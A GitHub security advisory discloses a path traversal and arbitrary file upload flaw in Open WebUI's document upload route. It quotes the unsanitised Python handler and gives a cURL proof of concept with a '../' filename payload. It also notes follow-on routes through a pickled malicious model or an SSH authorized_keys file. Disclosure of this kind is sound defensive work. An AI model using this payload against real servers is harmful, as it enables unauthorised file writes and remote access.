Skip to content

Open WebUI Vulnerable to Arbitrary File Upload and Path Traversal

High severity GitHub Reviewed Published May 5, 2026 in open-webui/open-webui • Updated May 8, 2026

Package

pip open-webui (pip)

Affected versions

<= 0.1.123

Patched versions

0.1.124

Description

CONFIDENTIAL

KL-CAN-2024-002

Vulnerability Details

# Field Value
1 Discoverer Jaggar Henry & Sean Segreti of KoreLogic, Inc.
2 Date Submitted 2024.03.12
3 Title Open WebUI Arbitrary File Upload + Path Traversal
5 Affected Vendor Open WebUI
6 Affected Product(s) Open WebUI (Formerly Ollama WebUI)
7 Affected Version(s) 0.1.105
8 Platform/OS Debian GNU/Linux 12 (bookworm)
9 Vector HTTP web interface
10 CWE CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-434: Unrestricted Upload of File with Dangerous Type

4. High-level Summary

Attacker controlled files can be uploaded to arbitrary locations on the web server's filesystem by abusing a path traversal vulnerability.


11. Technical Analysis

When attaching files to a prompt by clicking the plus sign (+) on the left of the message input box when using the Open WebUI HTTP interface, the file is uploaded to a static upload directory.

The name of the file is derived from the original HTTP upload request and is not validated or sanitized. This allows for users to upload files with names containing dot-segments in the file path and traverse out of the intended uploads directory. Effectively, users can upload files anywhere on the filesystem the user running the web server has permission.

This can be visualized by examining the python code for the /rag/api/v1/doc API route:

@app.post("/doc")
def store_doc(
    collection_name: Optional[str] = Form(None),
    file: UploadFile = File(...),
    user=Depends(get_current_user),
):
    # "https://www.gutenberg.org/files/1727/1727-h/1727-h.htm"

    print(file.content_type)
    try:
        filename = file.filename
        file_path = f"{UPLOAD_DIR}/{filename}"
        contents = file.file.read()
        with open(file_path, "wb") as f:
            f.write(contents)
            f.close()

The file variable is a representation of the multipart form data contained within the HTTP POST request. The filename variable is derived from the uploaded file name and is not validated before writing the file contents to disk.

This can be used to upload malicious models. These models are often distributed as pickled python objects and can be leveraged to execute arbitrary python bytecode once deserialized. Alternatively, an attacker can leverage existing services, such as SSH, to upload an attacker controlled authorized_keys file to remotely connect to the machine.


12. Proof-of-Concept

Execute the following cURL command:

TARGET_URI='https://redacted.com'; JWT='redacted'; LOCAL_FILE='/tmp/file_to_upload.txt'\
curl -H "Authorization: Bearer $JWT" -F "file=$LOCAL_FILE;filename=../../../../../../../../../../tmp/pwned.txt" "$TARGET_URI/rag/api/v1/doc"

Verify the file pwned.txt exists in the /tmp/ directory on the machine hosting the web server:

ollama@webserver:~$ cat /tmp/pwned.txt 
korelogic
ollama@webserver:~$

References

@doge-woof doge-woof published to open-webui/open-webui May 5, 2026
Published to the GitHub Advisory Database May 8, 2026
Reviewed May 8, 2026
Last updated May 8, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

EPSS score

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Unrestricted Upload of File with Dangerous Type

The product allows the upload or transfer of dangerous file types that are automatically processed within its environment. Learn more on MITRE.

CVE ID

CVE-2026-44566

GHSA ID

GHSA-9pgh-j74g-qj6m

Source code

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.